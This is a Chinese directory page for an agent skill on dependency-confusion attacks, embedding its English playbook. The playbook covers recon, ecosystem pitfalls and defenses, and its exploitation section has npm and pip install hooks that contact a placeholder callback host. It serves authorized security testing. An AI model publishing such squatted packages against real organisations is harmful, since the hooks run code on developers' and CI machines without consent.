Token导航 LogoToken导航TokenDH.com
研究检索敏感数据github未标认证来源可访问许可证需确认审计异常

dependency-confusion依赖性混乱

Agent Skill

dependency-confusion 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

总安装

6,890

周安装

290

GitHub Stars

349

下载量

2,413
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:dependency-confusion(依赖性混乱)
来源仓库:https://github.com/yaklang/hack-skills
仓库路径:skills/dependency-confusion
安装命令:
npx skills add https://github.com/yaklang/hack-skills --skill dependency-confusion
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/yaklang/hack-skills --skill dependency-confusion

简介

用于分析依赖混淆攻击与供应链安全风险。dependency-confusion 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

  • 适用于 Codex、Claude、Cursor、Gemini CLI,支持 GitHub 安装。
  • 覆盖 npm 作用域、pip 索引等生态陷阱与防御策略。
  • 提供非破坏性 PoC 模式与侦察命令示例。
  • 仅限授权系统使用,需配合 SBOM 或 CI 缓存审查。

SKILL.md

SKILL: Dependency Confusion — Supply Chain Attack Playbook

AI LOAD INSTRUCTION: Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. Only use on systems and programs you are authorized to test.

0. QUICK START

What to look for first

  • Manifests listing package names that look internal (short unscoped names, org-specific tokens, product codenames) without a hard-private registry lock.
  • Evidence the same name might exist—or be squattable—on a public registry with a higher semver than the private feed publishes.
  • Lockfiles missing, stale, or not enforced in CI so install/build can drift toward public metadata.

Fast mental model: *If the resolver can see both private and public indexes, and version ranges allow it, the “newest” matching version may be the attacker’s.*

Routing note: if the task comes from supply-chain, repository exposure, or CI-build recon, first use recon-for-sec to list internal package names and possible public-registry collisions.


1. CORE CONCEPT

  1. Private packages: An organization ships libraries only on an internal registry (or under conventions that imply “ours”), e.g. a scoped name like @org-scope/internal-utils or an unscoped name such as acme-billing-sdk.
  2. Attacker squats the name: The same package name is published on a public registry (npmjs, PyPI, RubyGems, etc.).
  3. Resolver preference: Many setups resolve highest matching version across all configured indexes (or merge metadata), so a public 9.9.9 can beat a private 1.2.3 if ranges allow.
  4. Execution: Package managers run lifecycle scripts (npm preinstall/postinstall, setuptools entry points, etc.) → attacker code runs on developer laptops, CI, or production image builds.

This is a supply-chain class issue: impact is often broad (many consumers) and silent until build or runtime hooks fire.


2. AFFECTED ECOSYSTEMS

EcosystemTypical manifestConfusion angle
npmpackage.jsonScoped packages (@scope/pkg) are safer when the scope is owned on the registry; unscoped private-style names are high risk. Multiple registries / .npmrc registry vs per-scope @scope:registry= misconfiguration increases risk.
piprequirements.txt, pyproject.toml, setup.pypip install -i / --extra-index-url merges indexes; a public index can serve a higher version for the same distribution name.
RubyGemsGemfilesource order and additional sources; ambiguous gem names reachable from rubygems.org.
Mavenpom.xmlRepository declaration order and mirror settings; a public repo publishing the same groupId:artifactId under a higher version can win if policy allows.
Composercomposer.jsonPackagist is default; private packages without repositories/canonical discipline may collide with public names.
DockerFROM, image tagsTyposquatting on container registries (e.g. public hub) for images with names similar to internal base images.

3. RECONNAISSANCE

Where internal names leak

  • Committed package.json, requirements.txt, Gemfile, pom.xml, composer.json in repos or forks.
  • JavaScript source maps, bundled assets, or error stack traces referencing package paths.
  • .npmrc, .pypirc, CI logs showing install URLs or mirror endpoints.
  • Issue trackers, gist snippets, and dependency graphs from SBOM exports.

Check public squatting / claimability (read-only)

# npm — metadata for a name (unscoped)
npm view some-internal-package-name version

# npm — scoped (requires scope to exist / be readable)
npm view @some-scope/internal-lib versions --json

# PyPI — dry-run style version probe (adjust name; fails if not found)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'

# RubyGems — query remote
gem search '^some-internal-package-name$' --remote

# Maven Central — search coordinates (example pattern)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"

Routing note: after package-name enumeration, consider PoC only in authorized environments; public registry lookups themselves are usually passive recon.


4. EXPLOITATION

Authorized testing pattern

  1. Register (or use a controlled namespace) the same package name on the public registry your target resolver can reach.
  2. Publish a higher semver than the legitimate internal line within the victim’s declared range (e.g. ^1.0.0 → publish 9.9.9).
  3. Add lifecycle hooks that prove execution without harming hosts—prefer DNS/HTTP callback to a collaborator you control, no destructive writes.

npm package.json — minimal callback-style PoC (illustrative)

{
  "name": "some-internal-package-name",
  "version": "9.9.9",
  "description": "authorized dependency-confusion PoC only",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
  }
}

npm package.json — shell + curl fallback (illustrative)

{
  "scripts": {
    "postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
  }
}

pip — setup hook pattern (illustrative; use only in authorized lab packages)

# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install

class PoCInstall(install):
    def run(self):
        import urllib.request
        urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
        install.run(self)

setup(
    name="some-internal-package-name",
    version="9.9.9",
    cmdclass={"install": PoCInstall},
)

Reference implementation (study / lab): community PoC layout and workflow similar to 0xsapra/dependency-confusion-exploit — automate version bump, publish, and callback confirmation only where you have written permission.


5. TOOLS

ToolRole
visma-prodsec/confusedScans manifest files for dependency names that may be claimable on public registries (multi-ecosystem).
synacktiv/DepFuzzerAutomated dependency confusion testing workflows (use strictly in-scope).

Run these only against your manifests or authorized engagements; do not use to squat names for unrelated third parties.


6. DEFENSE

  • npm: Prefer scoped packages (@org-scope/pkg) with org-owned scopes; set .npmrc so private scopes map to private registry and default registry is not accidentally public for internal names.
  • Pinning: Exact versions + lockfiles (package-lock.json, poetry.lock, Gemfile.lock, composer.lock) enforced in CI.
  • pip: Avoid careless --extra-index-url; prefer single private index with mirroring, or explicit --index-url policies in CI.
  • Maven / Gradle: Control repository order, use internal mirrors, and block unexpected groupIds on release pipelines.
  • Composer: Use repositories with canonical: true for private packages; verify Packagist is not introducing unexpected vendors.
  • Defensive registration: Reserve internal names on public registries (squat your own names) where policy allows.
  • Monitoring: Tools such as Socket.dev, Snyk, or similar SBOM/supply-chain scanners to alert on new publishers or version jumps for critical packages.

7. DECISION TREE

Do manifests reference package names that could be non-unique globally?
├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.
└─ YES
    ├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?
    │   ├─ YES → Lower risk; still verify CI and developer machines do not override config.
    │   └─ NO → HIGH RISK
    │         ├─ Can a public registry publish a HIGHER version inside declared ranges?
    │         │   ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.
    │         │   └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.
    │         └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)

Related routing

  • From recon-for-sec: When doing supply-chain reconnaissance, cross-link leaked manifests and internal package identifiers with the checks in Section 3 and the decision tree in Section 7 before proposing any publish/PoC steps.

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

32.9%
按下载量换算794

Claude

27.66%
按下载量换算667

Cursor

19.53%
按下载量换算471

Gemini CLI

9.96%
按下载量换算240

安全审计

Gen Agent Trust Hub

通过

Socket

通过

Snyk

未通过

权限和风险

敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills